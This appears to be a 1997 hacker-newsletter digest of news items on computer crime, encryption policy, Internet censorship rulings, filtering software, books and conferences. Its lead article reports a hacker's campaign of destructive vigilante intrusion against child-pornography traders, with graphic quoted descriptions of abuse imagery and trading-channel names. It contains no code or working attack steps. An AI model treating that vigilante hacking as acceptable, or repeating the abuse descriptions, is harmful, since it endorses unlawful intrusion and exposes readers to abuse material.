"exaggerated/over-hyped/fearmongered/bullshit."

Now making his living as a lecturer on computer security, Se7en claims
he combed the Net for child pornography for eight weeks last year
without finding a single image.

That changed a couple of weeks ago, he says, when a JPEG mailed by an
anonymous prankster sent him on an odyssey through a different kind of
underground: IRC chat rooms with names like #littlegirlsex, ftp
directories crammed with filenames like 6yoanal.jpg and 8&dad.jpg, and
newsgroups like alt.binaries.pictures.erotica.pre-teen. The anonymous
file, he says, contained a "very graphic" image of a girl "no older
than 4 years old."

On 8 June, Se7en vowed on a hacker's mailing list to deliver a dose of
"genuine hacker terror" to those who upload and distribute such images
on the Net. The debate over his methods has stirred up tough questions
among his peers about civil liberties, property rights, and the ethics
of vigilante justice.

A declaration of war

What Se7en tapped into, he says, was a "very paranoid" network of
traders of preteen erotica. In his declaration of "public war" -
posted to a mailing list devoted to an annual hacker's convention
called DefCon - Se7en explains that the protocol on most child-porn
servers is to upload selections from your own stash, in exchange for
credits for more images.

What he saw on those servers made him physically sick, he says. "For
someone who took a virtual tour of the kiddie-porn world for only one
day," he writes, "I had the opportunity to fully max out an Iomega
100-MB Zip disc."

Se7en's plan to "eradicate" child-porn traders from the Net is
"advocating malicious, destructive hacking against these people." He
has enlisted the expertise of two fellow hackers for the first wave of
attacks, which are under way.

Se7en feels confident that legal authorities will look the other way
when the victims of hacks are child pornographers - and he claims that
a Secret Service agent told him so explicitly. Referring to a command
to wipe out a hard drive by remote access, Se7en boasted, "Who are
they going to run to? The police? 'They hacked my kiddie-porn server
and rm -rf'd my computer!' Right."

Se7en claims to have already "taken down" a "major player" - an
employee of Southwestern Bell who Se7en says was "posting ads all over
the place." Se7en told Wired News that he covertly watched the man's
activities for days, gathering evidence that he emailed to the
president of Southwestern Bell. Pseudonymous remailers like
hotmail.com and juno.com, Se7en insists, provide no security blanket
for traders against hackers uncovering their true identities by
cracking server logs. Se7en admits the process of gaining access to
the logs is time consuming, however. Even with three hackers on the
case, it "can take two or three days. We don't want to hit the wrong
person."

A couple of days after submitting message headers and logs to the
president and network administrators of Southwestern Bell, Se7en says,
he got a letter saying the employee was "no longer on the payroll."

The hacker search for acceptance

Se7en's declaration of war received support on the original mailing
list. "I am all for freedom of speech/expression," wrote one poster,
"but there are some things that are just wrong.... I feel a certain
moral obligation to the human race to do my part in cleaning up the
evil."

Federal crackdowns targeting child pornographers are ineffective, many
argued. In April, FBI director Louis Freeh testified to the Senate
that the bureau operation dubbed "Innocent Images" had gathered the
names of nearly 4,000 suspected child-porn traffickers into its
database. Freeh admitted, however, that only 83 of those cases
resulted in convictions. (The Washington Times reports that there have
also been two suicides.)

The director's plan? Ask for more federal money to fight the "dark
side of the Internet" - US$10 million.

Pitching in to assist the Feds just isn't the hacker way. As one
poster to the DefCon list put it, "The government can't enforce laws
on the Internet. We all know that. We can enforce laws on the
Internet. We all know that too."

The DefCon list was not a unanimous chorus of praise for Se7en's plan
to give the pornographers a taste of hacker terror, however. The most
vocal dissenter has been Declan McCullagh, Washington correspondent
for the Netly News. McCullagh is an outspoken champion of
constitutional rights, and a former hacker himself. He says he was
disturbed by hackers on the list affirming the validity of laws
against child porn that he condemns as blatantly unconstitutional.

"Few people seem to realize that the long-standing federal child-porn
law outlawed pictures of dancing girls wearing leotards," McCullagh
wrote - alluding to the conviction of Stephen Knox, a graduate student
sentenced to five years in prison for possession of three videotapes
of young girls in bathing suits. The camera, the US attorney general
pointed out, lingered on the girls' genitals, though they remained
clothed. "The sexual implications of certain modes of dress, posture,
or movement may readily put the genitals on exhibition in a lascivious
manner, without revealing them in a nude display," the Feds argued -
and won.

It's decisions like Knox v. US, and a law criminalizing completely
synthetic digital images "presented as" child porn, McCullagh says,
that are making the definition of child pornography unacceptably
broad: a "thought crime."

The menace of child porn is being exploited by "censor-happy"
legislators to "rein in this unruly cyberspace," McCullagh says. The
rush to revile child porn on the DefCon list, McCullagh told Wired
News, reminded him of the "loyalty oaths" of the McCarthy era.

"These are hackers in need of social acceptance," he says. "They've
been marginalized for so long, they want to be embraced for stamping
out a social evil." McCullagh knows his position is a difficult one to
put across to an audience of hackers. In arguing that hackers respect
the property rights of pornographers, and ponder the constitutionality
of the laws they're affirming, McCullagh says, "I'm trying to convince
hackers to respect the rule of law, when hacking systems is the
opposite of that."

But McCullagh is not alone. As the debate over Se7en's declaration
spread to the cypherpunks mailing list and alt.cypherpunks -
frequented by an older crowd than the DefCon list - others expressed
similar reservations over Se7en's plan.

"Basically, we're talking about a Dirty Harry attitude," one network
technician/cypherpunk told Wired News. Though he senses "real feeling"
behind Se7en's battle cry, he feels that the best way to deal with
pornographers is to "turn the police loose on them." Another
participant in the discussion says that while he condemns child porn
as "terrible, intrinsically a crime against innocence," he questions
the effectiveness of Se7en's strategy.

"Killing their computer isn't going to do anything," he says,
cautioning that the vigilante approach could be taken up by others.
"What happens if you have somebody who doesn't like abortion? At what
point are you supposed to be enforcing your personal beliefs?"

Raising the paranoia level

Se7en's loathing for aficionados of newsgroups like
alt.sex.pedophilia.swaps runs deeper than "belief." "I myself was
abused when I was a kid," Se7en told Wired News. "Luckily, I wasn't a
victim of child pornography, but I know what these kids are going
through."

With just a few hackers working independently to crack server logs,
sniff IP addresses, and sound the alarm to network administrators, he
says, "We can take out one or two people a week ... and get the
paranoia level up," so that "casual traders" will be frightened away
from IRC rooms like "#100%preteensexfuckpics."

It's not JPEGs of clothed ballerinas that raise his ire, Se7en says.
It's "the 4-year-olds being raped, the 6-year-old forced to have oral
sex with cum running down themselves." Such images, Se7en admits, are
very rare - even in online spaces dedicated to trading sexual imagery
of children.

"I know what I'm doing is wrong. I'm trampling on the rights of these
guys," he says. "But somewhere in the chain, someone is putting these
images on paper before they get uploaded. Your freedom ends when you
start hurting other people."

0xf>-------------------------------------------------------------------------
 
Title: Mitnick Gets 22 Month Sentence
Source: LA Times
Author: Julie Tamaki
Date: Tuesday, June 17, 1997

A federal judge indicated Monday that she plans to sentence famed computer
hacker Kevin Mitnick to 22 months in prison for cellular phone fraud and
violating his probation from an earlier computer crime conviction.

The sentencing Monday is only a small part of Mitnick's legal problems.
Still pending against him is a 25-count federal indictment accusing him of
stealing millions of dollars in software during an elaborate hacking spree
while he was a fugitive. A trial date in that case has yet to be set.

U.S. District Judge Mariana R. Pfaelzer on Monday held off on formally
sentencing Mitnick for a week in order to give her time to draft conditions
for Mitnick's probation after he serves the prison term.

Pfaelzer said she plans to sentence Mitnick to eight months on the cellular
phone fraud charge and 14 months for violating his probation from a 1988
computer-hacking conviction, Assistant U.S. Atty. Christopher Painter said.
The sentences will run consecutively.

Mitnick faces the sentence for violating terms of his probation when he
broke into Pac Bell voice mail computers in 1992 and used stolen passwords
of Pac Bell security employees to listen to voice mail, Painter said. At the
time, Mitnick was employed by Teltec Communications, which was under
investigation by Pac Bell.

0x10>-------------------------------------------------------------------------
 
Title: New York Judge Prohibits State Regulation of Internet
Source: unknown
Author: unknown
Date: Friday, June 20, 1997

NEW YORK -- As the nation awaits a Supreme Court decision on
Internet censorship, a federal district judge here today blocked
New York State from enforcing its version of the federal
Communications Decency Act (CDA).

Ruling simultaneously in ACLU v. Miller, another ACLU challenge to
state Internet regulation, a Federal District Judge in Georgia
today struck down a law criminalizing online anonymous speech and
the use of trademarked logos as links on the World Wide Web.

In ALA v. Pataki, Federal District Judge Loretta A. Preska issued
a preliminary injunction against the New York law, calling the
Internet an area of commerce that should be marked off as a
"national preserve" to protect online speakers from inconsistent
laws that could "paralyze development of the Internet altogether."

Judge Preska, acknowledging that the New York act was "clearly
modeled on the CDA," did not address the First Amendment issues
raised by the ACLU's federal challenge, saying that the Commerce
Clause provides "fully adequate support" for the injunction and
that the Supreme Court would address the other issues in its
widely anticipated decision in Reno v. ACLU. (The Court's next
scheduled decision days are June 23, 25 and 26.)

"Today's decisions in New York and Georgia say that, whatever
limits the Supreme Court sets on Congress's power to regulate the
Internet, states are prohibited from acting to censor online
expression," said Ann Beeson, an ACLU national staff attorney who
argued the case before Judge Preska and is a member of the ACLU v.
Miller and Reno v. ACLU legal teams.

"Taken together, these decisions send a very important and
powerful message to legislators in the other 48 states that they
should keep their hands off the Internet," Beeson added.

In a carefully reasoned, 62-page opinion, Judge Preska warned of
the extreme danger that state regulation would pose to the
Internet, rejecting the state's argument that the statute would
even be effective in preventing so-called "indecency" from
reaching minors. Further, Judge Preska observed, the state can
already protect children through the vigorous enforcement of
existing criminal laws.

"In many ways, this decision is more important for the business
community than for the civil liberties community," said Chris
Hansen, a senior ACLU attorney on the ALA v. Pataki legal team and
lead counsel in Reno v. ACLU.  "Legislatures are just about done
with their efforts to regulate the business of Internet 'sin,' and
have begun turning to the business of the Internet itself. Today's
decision ought to stop that trend in its tracks."

Saying that the law would reduce all speech on the Internet to a
level suitable for a six-year-old, the American Civil Liberties
Union, the New York Civil Liberties Union, the American Library
Association and others filed the challenge in January of this
year.

The law, which was passed by the New York legislature late last
year, provides criminal sanctions of up to four years in jail for
communicating so-called "indecent" words or images to a minor.

In a courtroom hearing before Judge Preska in April, the ACLU
presented a live Internet demonstration and testimony from
plaintiffs who said that their speech had already been "chilled"
by the threat of criminal prosecution.

"This is a big win for the people of the state of New York," said
Norman Siegel, Executive Director of the New York Civil Liberties
Union. "Today's ruling vindicates what we have been saying all
along to Governor Pataki and legislators, that they cannot legally
prevent New Yorkers from engaging in uninhibited, open and robust
freedom of expression on the Internet."

The ALA v. Pataki plaintiffs are: the American Library
Association, the Freedom to Read Foundation, the New York Library
Association, the American Booksellers Foundation for Free
Expression, Westchester Library System, BiblioBytes, Association
of American Publishers, Interactive Digital Software Association,
Magazine Publishers of America, Public Access Networks Corp.
(PANIX), ECHO, NYC Net, Art on the Net, Peacefire and the American
Civil Liberties Union.

Michael Hertz and others of the New York firm Latham & Watkins
provided pro-bono assistance to the ACLU and NYCLU; Michael
Bamberger of Sonnenschein Nath & Rosenthal in New York is also
co-counsel in the case.  Lawyers from the ACLU are Christopher
Hansen, Ann Beeson and Art Eisenberg, legal director of the NYCLU.

0x11>-------------------------------------------------------------------------
 
Title: Breaking the Crypto Barrier
Source: Wired
Author: Chris Oakes
Date: 5:03am  20.Jun.97.PDT

Amid a striking convergence of events bearing on
US encryption policy this week, one development underlined what many see
as the futility of the Clinton administration's continuing effort to
block the export of strong encryption: The nearly instantaneous movement
of PGP's 128-bit software from its authorized home on a Web server at
MIT to at least one unauthorized server in Europe.

Shortly after Pretty Good Privacy's PGP 5.0 freeware was made available
at MIT on Monday, the university's network manager, Jeffrey Schiller,
says he read on Usenet that the software had already been transmitted to
a foreign FTP server. Ban or no ban, someone on the Net had effected the
instant export of a very strong piece of code. On Wednesday, Wired News
FTP'd the software from a Dutch server, just like anyone with a
connection could have.

A Commerce Department spokesman said his office was unaware of the
breach.

The event neatly coincided with the appearance of a new Senate bill that
seeks to codify the administration's crypto policy, and an announcement
Wednesday that an academic/corporate team had succeeded in breaking the
government's standard 56-bit code.

The software's quick, unauthorized spread to foreign users might have an
unexpected effect on US law, legal sources noted.

"If [Phil] Zimmermann's [original PGP] software hadn't gotten out on the
Internet and been distributed worldwide, unquestionably we wouldn't have
strong encryption today," said lawyer Charles Merrill, who chairs his
firm's computer and high-tech law-practice group. Actions like the PGP
leak, he speculated, may further the legal flow of such software across
international borders.

Said Robert Kohn, PGP vice president and general counsel: "We're
optimistic that no longer will PGP or companies like us have to do
anything special to export encryption products."

The Web release merely sped up a process already taking place using a
paper copy of the PGP 5.0 source code and a scanner - reflecting the
fact it is legal to export printed versions of encryption code.

On Wednesday, the operator of the International PGP Home Page announced
that he had gotten his hands on the 6,000-plus-page source code, had
begun scanning it, and that a newly compiled version of the software
will be available in a few months.

Norwegian Stale Schumaker, who maintains the site, said several people
emailed and uploaded copies of the program to an anonymous FTP server he
maintains. But he said he deleted the files as soon as he was aware of
them, because he wants to "produce a version that is 100 percent legal"
by scanning the printed code.

The paper copy came from a California publisher of technical manuals and
was printed with the cooperation of PGP Inc. and its founder, Phil
Zimmermann. Schumaker says he does not know who mailed his copy.

"The reason why we publish the source code is to encourage peer review,"
said PGP's Kohn, "so independent cryptographers can tell other people
that there are no back doors and that it is truly strong encryption."

Schumaker says his intentions are farther-reaching.

"We are a handful of activists who would like to see PGP spread to the
whole world," his site reads, alongside pictures of Schumaker readying
pages for scanning. "You're not allowed to download the program from
MIT's Web server because of the archaic laws in the US. That's why we
exported the source-code books."

0x12>-------------------------------------------------------------------------

Title: Setback in Efforts to Secure Online Privacy
Source: unknown
Author: unknown
Date: Thursday, June 19, 1997

WASHINGTON -- A Senate committee today setback legislative efforts to
secure online privacy, approving legislation that would restrict the right
of businesses and individuals both to use encryption domestically and to
export it.

     On a voice vote, the Senate Commerce Committee adopted legislation that
essentially reflects the Clinton Administration's anti-encryption policies.

     The legislation approved today on a voice vote by the Senate Commerce
Committee was introduced this week by Senate Commerce Committee Chairman
John McCain, Republican of Arizona, and co-sponsored by Democrats Fritz
Hollings of South Carolina; Robert Kerry of Nebraska and John Kerry of
Massachusetts.

     Encryption programs scramble information so that it can only be read
with a "key" -- a code the recipient uses to unlock the scrambled
electronic data.  Programs that use more than 40 bits of data to encode
information are considered "strong" encryption. Currently, unless these
keys are made available to the government, the Clinton Administration bans
export of hardware or software containing strong encryption, treating
these products as "munitions."

     Privacy advocates continue to criticize the Administration's
stance, saying that the anti-cryptography ban has considerably
weakened U.S. participation in the global marketplace, in addition
to curtailing freedom of speech by denying users the right to "speak"
using encryption. The ban also violates the right to privacy by
limiting the ability to protect sensitive information in the new
computerized world.

     Today's committee action knocked out of consideration the so-called
"Pro-CODE" legislation, a pro-encryption bill introduced by Senator
Conrad Burns, Republican of Montana. Although the Burns legislation
raised some civil liberties concerns, it would have lifted export
controls on encryption programs and generally protected individual
privacy.

     "Privacy, anonymity and security in the digital world depend on
encryption," said Donald Haines, legislative counsel on privacy and
cyberspace issues for the ACLU's Washington National Office. "The aim
of the Pro-CODE bill was to allow U.S. companies to compete with
industries abroad and lift restrictions on the fundamental right to
free speech, the hallmark of American democracy."

     "Sadly, no one on the Commerce Committee, not even Senator Burns,
stood up and defended the pro-privacy, pro-encryption effort," Haines
added.

     In the House, however, strong encryption legislation that would add
new privacy protections for millions of Internet users in this country and
around the world has been approved by two subcommittees.

     The legislation -- H.R. 695, the "Security and Freedom Through
Encryption Act" or SAFE -- would make stronger encryption products
available to American citizens and users of the Internet around the
world. It was introduced by Representative Robert W. Goodlatte, Republican
of Virginia.

     "We continue to work toward the goal of protecting the privacy of all
Internet users by overturning the Clinton Administration's unreasonable
encryption policy," Haines concluded

0x13>-------------------------------------------------------------------------

Title: Captain Crunch Web Site Now Moved
Source: Telecom Digest  17.164

The Cap'n Crunch home page URL has been changed.  The new URL is now
http://crunch.woz.org/crunch

I've made significant changes to the site, added a FAQ based on a lot
of people asking me many questions about blue boxing, legal stuff, and
hacking in general.  The FAQ will be growing all the time, as I go
through all the requests for information that many people have sent.
"Email me" if you want to add more questions.

Our new server is now available to host web sites for anyone who wants
to use it for interesting projects.  This is for Elite people only,
and you have to send me a proposal on what you plan to use it for.

[So now old John gets to decide who is elite and who isn't.]

I'm open for suggestions, and when you go up to the WebCrunchers web
site: http://crunch.woz.org

You'll get more details on that.  Our server is a Mac Power PC,
running WebStar web server, connected through a T-1 link to the
backbone.  I know that the Mac Webserver might be slower, but I had
security in mind when I picked it.  Besides, I didn't pick it, Steve
Wozniak did...  :-) So please don't flame me for using a Mac.

I know that Mac's are hated by hackers, but what the heck ... at least
we got our OWN server now.

I also removed all the blatant commercial hipe from the home page and
put it elsewhere.  But what the heck ... I should disserve to make
SOME amount of money selling things like T-shirts and mix tapes.

We plan to use it for interesting projects, and I want to put up some
Audio files of Phone tones.  For instance, the sound of a blue box
call going through, or some old sounds of tandom stacking.  If there
are any of you old-timers out there that might have some interesting
audio clips of these sounds, please get in touch with me.

[There is already a page out there with those sounds and a lot more..
 done by someone who discovered phreaking on their own. Little known
 fact because of all the obscurement: John Draper did not discover
 blue boxing. It was all taught to him.]

Our new Domain name registration will soon be activated, and at that
time our URL will be:

http://www.webcrunchers.com        - Our Web hosting server
http://www.webcrunchers.com/crunch - Official Cap'n Crunch home page

Regards,
Cap'n Crunch

0x14>-------------------------------------------------------------------------

Title: US Justive Dept. Investigating Network Solutions
Source: New York Times
Author: Agis Salpukas
Date: 7 July '97

  The Justice Department has begun an investigation into the
 practice of assigning Internet addresses to determine if the
 control that Network Solutions Inc. exercises over the process
 amounts to a violation of antitrust laws.

  The investigation was disclosed by the company Thursday in
 documents filed with the Securities and Exchange Commission. The
 filing came as part of a proposed initial stock offering that is
 intended to raise $35 million.

  The investigation was first reported in The Washington Post on
 Sunday.

  Network Solutions, which is based in Herndon, Va., and is a
 subsidiary of Science Applications International Corp., has been
 the target of a growing chorus of complaints and two dozen
 lawsuits as the Internet has expanded and the competition for
 these addresses, or domain names, has grown more intense.

0x15>-------------------------------------------------------------------------

Title: Cyber Patrol Bans Crypt Newsletter
Source: Crypt Newsletter
Author: George Smith
Date: June 19, 1997

Hey, buddy, did you know I'm a militant extremist? Cyber Patrol, the
Net filtering software designed to protect your children from
cyberfilth, says so. Toss me in with those who sleep with a copy of
"The Turner Diaries" under their pillows and those who file nuisance
liens against officials of the IRS. Seems my Web site is dangerous
viewing.

I discovered I was a putative militant extremist while reading a
story on Net censorship posted on Bennett Haselton's PeaceFire
Web site. Haselton is strongly critical of Net filtering software and
he's had his share of dustups with vendors like Cyber Patrol, who
intermittently ban his site for having the temerity to be a naysayer.

Haselton's page included some links so readers could determine what
other Web pages were banned by various Net filters. On a lark, I typed
in the URL of the Crypt Newsletter, the publication I edit. Much to my
surprise, I had been banned by Cyber Patrol. The charge? Militant
extremism. Cyber Patrol also has its own facility for checking if a
site is banned, called the CyberNOT list. Just to be sure, I
double-checked. Sure enough, I was a CyberNOT.

Now you can call me Ray or you can call me Joe, but don't ever call me
a militant extremist! I've never even seen one black helicopter
transporting U.N. troops to annex a national park.

However, nothing is ever quite as it seems on the Web and before I
went into high dudgeon over political censorship--the Crypt Newsletter
has been accused of being "leftist" for exposing various
government, academic, and software industry charlatans--I told some of
my readership. Some of them wrote polite--well, almost polite--letters
to Debra Greaves, Cyber Patrol's head of Internet research. And
Greaves wrote back almost immediately, indicating it had all been a
mistake.

My Web site was blocked as a byproduct of a ban on another page on the
same server. "We do have a [blocked] site off of that server with a
similar directory. I have modified the site on our list to be more
unique so as to not affect [your site] any longer," she wrote.

Perhaps I should have been reassured that Cyber Patrol wasn't banning
sites for simply ridiculing authority figures, a favorite American
past time. But if anything, I was even more astonished to discover th
company's scattershot approach to blocking. It doesn't include precise
URLs in its database. Instead, it prefers incomplete addresses that
block everything near the offending page. The one that struck down
Crypt News was "soci.niu.edu/~cr," a truncated version of my complete
URL. In other words: any page on the machine that fell under "~cr" was
toast.

Jim Thomas, a sociology professor at Northern Illinois University,
runs this particular server, and it was hard to imagine what would be
militantly extreme on it. Nevertheless, I ran the news by Thomas. It
turns out that the official home page of the American Society of
Criminology's Critical Criminology Division, an academic resource,
was the target. It features articles from a scholarly criminology
journal and has the hubris to be on record as opposing the death
penalty but didn't appear to have anything that would link it with
bomb-throwing anarchists, pedophiles, and pornographers.

There was, however, a copy of the Unabomber Manifesto on the page.

I told Thomas I was willing to bet $1,000 cash money that Ted
Kaczynski's rant was at the root of Cyber Patrol's block.
Thomas confirmed it, but I can't tell you his exact words. It
might get this page blocked, too.

What this boils down to is that Cyber Patrol is banning writing on the
Web that's been previously published in a daily newspaper: The
Washington Post. It can also be said the Unabomber Manifesto already
has been delivered to every corner of American society.

If the ludicrous quality of this situation isn't glaring enough,
consider that one of Cyber Patrol's partners, CompuServe, promoted the
acquisition of electronic copies of the Unabomber Manifesto after it
published by the Post. And these copies weren't subject to any
restrictions that would hinder children from reading them. In fact,
I've never met anyone from middle-class America who said, "Darn those
irresponsible fiends at the Post! Now my children will be inspired to
retreat to the woods, write cryptic essays attacking techno-society,
and send exploding parcels to complete strangers."

Have you?

So, will somebody explain to me how banning the Unabomber Manifesto,
the ASC's Critical Criminology home page, and Crypt Newsletter
protects children from smut and indecency? That's a rhetorical
question.

Cyber Patrol is strongly marketed to public libraries, and has been
acquired by some, in the name of protecting children from Net
depravity.

Funny, I thought a public library would be one of the places you'd be
more likely to find a copy of the Unabomber Manifesto.

0x16>-------------------------------------------------------------------------
 
Title: Some humor on media hacks and hackers
Source: Defcon Mailing List
Author: George Smith / Crypt Newsletter

In as fine a collection of stereotypes as can be found, the
Associated Press furnished a story on July 14 covering the annual
DefCon hacker get together in Las Vegas. It compressed at least
one hoary cliche into each paragraph.

Here is a summary of them.

The lead sentence: "They're self-described nerds . . . "

Then, in the next sentence, "These mostly gawky, mostly male
teen-agers . . . also are the country's smartest and slyest computer
hackers."

After another fifty words, "These are the guys that got beat up in
high school and this is their chance to get back . . . "

Add a sprinkling of the obvious: "This is a subculture of
computer technology . . ."

Stir in a paraphrased hacker slogan: "Hacking comes from an
intellectual desire to figure out how things work . . ."

A whiff of crime and the outlaw weirdo: "Few of these wizards will
identify themselves because they fear criminal prosecution . . .  a
25-year-old security analyst who sports a dog collar and nose ring, is
cautious about personal information."

Close with two bromides that reintroduce the stereotype:

"Hackers are not evil people. Hackers are kids."

As a simple satirical exercise, Crypt News rewrote the Associated
Press story as media coverage of a convention of newspaper editors.

It looked like this:

LAS VEGAS -- They're self-described nerds, dressing in starched
white shirts and ties.

These mostly overweight, mostly male thirty, forty and
fiftysomethings are the country's best known political pundits,
gossip columnists and managing editors. On Friday, more than 1,500 of
them gathered in a stuffy convention hall to swap news and network.

"These are the guys who ate goldfish and dog biscuits at frat parties
in college and this is their time to strut," said Drew Williams,
whose company, Hill & Knowlton, wants to enlist the best editors
and writers to do corporate p.r.

"This is a subculture of corporate communicators," said Williams.

Journalism comes from an intellectual desire to be the town crier
and a desire to show off how much you know, convention-goers said.
Circulation numbers and ad revenue count for more than elegant prose
and an expose on the President's peccadillos gains more esteem from
ones' peers than klutzy jeremiads about corporate welfare and
white-collar crime.

One group of paunchy editors and TV pundits were overheard
joking about breaking into the lecture circuit, where one
well-placed talk to a group of influential CEOs or military
leaders could earn more than many Americans make in a year.

Few of these editors would talk on the record for fear of
professional retribution. Even E.J., a normally voluble
45-year-old Washington, D.C., editorial writer, was reticent.

"Columnists aren't just people who write about the political
scandal of the day," E.J. said cautiously. "I like to think of
columnists as people who take something apart that, perhaps,
didn't need taking apart."

"We are not evil people. We're middle-aged, professional
entertainers in gray flannel suits."

0x17>-------------------------------------------------------------------------

Title: Cellular Tracking Technologies
Source: unknown
Author: unknown

A recent article from the San Jose Mercury News by Berry Witt ("Squabble
puts non-emergency phone number on hold") raises several important
questions -- questions I think are relavant to the CUD's readership...

Does anybody remember the FBI's request that cell phone companies must
build in tracking technology to their systems that allows a person's
position to be pin pointed by authorities?  That suggested policy resulted
in a flurry of privacy questions and protests from the industry, suggesting
such requirements would force them to be uncompetitive in the global
marketplace.  The article, dated July 20, (which was focused on 911
cellular liability issues) suggests federal authorities may have worked out
an end run around the controversy.  The article states:

 "The cellular industry is working to meet a federal requirement that by
next spring, 911 calls from cellular phones provide dispatchers the
location of the nearest cell site and that within five years, cellular
calls provide dispatchers the location of the caller within a 125-meter
radius. "

On its face, this seems reasonable and it is a far cry from the real time
tracking requirements of any cell phone that is turned on (The FBI's
original request).  But by next spring, this tracking system will be in
place and on line.  I have heard no public debate about the privacy
implications regarding this "Federal Requirement", nor has there been any
indication that this information will be restricted to 911 operators.

Will this information be available to law enforcement officials if they
have a warrant?  If they don't have a warrant?  Will this information be
secured so enterprising criminals won't have access to it?  Exactly WHAT
kind of security is being implemented so it WON'T be accessible to the
general public.

This smacks of subterfuge.  By cloaking the cellular tracking issue in the
very real issue of the 911 location system, the federal government and law
enforcement agencies have circumvented the legitimate privacy questions
that arose from their initial Cellular tracking request.

0x18>-------------------------------------------------------------------------

Title: Court Mixes Internet Smut Provision
Source: Associated Press
Author: unknown
Date: June 26, 1997

WASHINGTON (AP) -- Congress violated free-speech rights when it
tried to curb smut on the Internet, the Supreme Court ruled today.
In its first venture into cyberspace law, the court invalidated a
key provision of the 1996 Communications Decency Act.

Congress' effort to protect children from sexually explicit
material goes too far because it also would keep such material
from adults who have a right to see it, the justices unanimously
said.

The law made it a crime to put adult-oriented material online
where children can find it. The measure has never taken effect
because it was blocked last year by a three-judge court in
Philadelphia.

``We agree with the three-judge district court that the statute
abridges the freedom of speech protected by the First Amendment,''
Justice John Paul Stevens wrote for the court.

``The (Communications Decency Act) is a content-based regulation
of speech,'' he wrote. ``The vagueness of such a regulation raises
special First Amendment concerns because of its obvious chilling
effect on free speech.''

``As a matter of constitutional tradition ... we presume that
governmental regulation of the content of speech is more likely to
interfere with the free exchange of ideas than to encourage it,''
Stevens wrote.

Sexually explicit words and pictures are protected by the
Constitution's First Amendment if they are deemed indecent but not
obscene.




0x1>-------------------------------------------------------------------------

Book Title: Underground
Poster: Darren Reed

A few people will have heard me mention this book already, but I think
there are bits and pieces of this book which will surprise quite a few
people.  Most of us are used to reading stories about hacking by the
people who did the catching of the hackers...this one is an ongoing
story of the local hacker scene...with not so local contacts and exploits.

Some of the important things to note are just how well they do work
together, as well as competing with each other and what they do when
they get pissed off with each other.  Meanwhile most of the white hats
are too busy trying to hoard information from the other white hats...

Having been on the "victim" side in the past, it is quite frustrating
when someone you've worked to have arrested gets off with a fine.  Most
of us would agree that they should be locked up somewhere, but
according to what's in the book, most of them are suffering from either
problems at home or other mental disorders (including one claim in court
to being addicted to hacking).  Anyone for a "Hackers Anonymous Association"
for help in drying out from this nefarious activity ?  At least in one
case documented within the perpetrators get sentenced to time behind bars.

It's somewhat comforting to read that people have actually broken into
the machines which belong to security experts such as Gene Spafford and
Matt Bishop, although I'd have preferred to have not read how they
successfully broke into the NIC :-/  Don't know about you, but I don't
care what motives they have, I'd prefer for them to not be getting inside
machines which provide integral services for the Internet.

For all of you who like to hide behind firewalls, in one instance a hacker
comes in through X.25 and out onto the Internet.  Nice and easy 'cause
we don't need to firewall our X.25 connection do we ? :-)

Oh, and just for all those VMS weenies who like to say "We're secure,
we run VMS not Unix" - the first chapter of the book is on a VMS worm
called "WANK" that came close to taking the NASA VMS network completely
off air.  I wonder how long it will take for an NT equivalent to surface...

All in all, a pretty good read (one from which I'm sure hackers will learn
just as much from as the rest of us).

The book's details are:
Title: UNDERGROUND - Tales of Hacking, madness and obsession on the
       Electronic Frontier
ISBN 1-86330-595-5
Author: Suelette Dreyfus
Publisher: Random House
Publisher's address: 20 Alfred St, Milsons Point, NSW 2061, Australia
Price: AUS$19.95

before I forget, the best URL for the book I've found is:

http://www.underground-book.com (http://underground.org/book is a mirror)

0x2>-------------------------------------------------------------------------
 
Book Title: "Hackers"
Poster: Paul Taylor    P.A.Taylor@sociology.salford.ac.uk

There's an open invite for people to contact me and discuss the
above and/or anything else that they think is relevant/important.

Below is a brief overview of
the eventual book's rationale and proposed structure.

Hackers: a study of a technoculture

Background

"Hackers" is based upon 4 years PhD research conducted from
1989-1993 at the University of Edinburgh.  The research focussed
upon 3 main groups: the Computer Underground (CU); the Computer
Security Industry (CSI); and the academic community.  Additional
information was obtained from government officials, journalists
etc.

The face-to-face interview work was conducted in the UK and the
Netherlands.  It included figures such as Rop Gongrijp of
Hack-Tic magazine, Prof Hirschberg of Delft University, and
Robert Schifreen.  E-mail/phone interviews were conducted in
Europe and  the US with figures such as Prof Eugene Spafford of
Purdue Technical University, Kevin Mitnick, Chris Goggans and
John Draper.

Rationale

This book sets out to be an academic study of the social
processes behind hacking that is nevertheless accessible to a
general audience.  It seeks to compensate for the "Gee-whiz"
approach of many of the journalistic accounts of hacking.  The
tone of these books tends to be set by their titles: The Fugitive
Game; Takedown; The Cyberthief and the Samurai; Masters of
Deception - and so on ...

The basic argument in this book is that, despite the media
portrayal, hacking is not, and never has been, a simple case of
"electronic vandals" versus the good guys: the truth is much more
complex.  The boundaries between hacking, the security industry
and academia, for example, are often relatively fluid.  In
addition, hacking has a significance outside of its immediate
environment: the disputes that surround it symbolise society's
attempts to shape the values of the informational environments we
will inhabit tomorrow.


Book Outline

Introduction - the background of the study and the range of
contributors

Chapter 1 - The cultural significance of hacking: non-fiction and
fictional portrayals of hacking.

Chapter 2 - Hacking the system:  hackers and theories of technological change.

Chapter 3 - Hackers: their culture.

Chapter 4 - Hackers: their motivations

Chapter 5 - The State of the (Cyber)Nation: computer security weaknesses.

Chapter 6- Them and Us: boundary formation and constructing "the other".

Chapter 7 - Hacking and Legislation.

Conclusion


0x1>-------------------------------------------------------------------------
 
Convention: Cybercrime Conference Announcement
Date: Oct 29 - 31

Cybercrime; E-Commerce & Banking; Corporate, Bank & Computer
Security; Financial Crimes and Information Warfare Conference
will be held October 29, 30, & 31, 1997 (Washington, D.C.) and
November 17 & 18 (New York City) for bankers, lawyers,
information security directors, law enforcement, regulators,
technology developers/providers.

Responding to the global threat posed by advancing technology,
senior level decision makers will join together to share remedies
and solutions towards the ultimate protection of financial and
intellectual property; and against competitive espionage and
electronic warfare.  An international faculty of 30 experts will
help you protect your business assets, as well as the information
infrastructure at large.

There will also be a small technology vendor exhibition.

Sponsored by Oceana Publications Inc. 50 year publisher of
international law, in cooperation with the Centre for
International Financial Crimes Studies, College of Law,
University of Florida, and Kroll Associates, a leading
investigative firm.  For more information call
800/831-0758 or
914/693-8100; or e-mail: Oceana@panix.com.

http://www.oceanalaw.com/seminar/sem_calendar.htm

0x2>-------------------------------------------------------------------------

Convention: Computers & The Law IV Symposium
Date: October 6-9, Boston

Computers & The Law IV is the only event to bring together corporate
decision-makers, computer professionals and legal experts to discuss
Internet
and Web technology in the eyes of the law.  This conference provides a
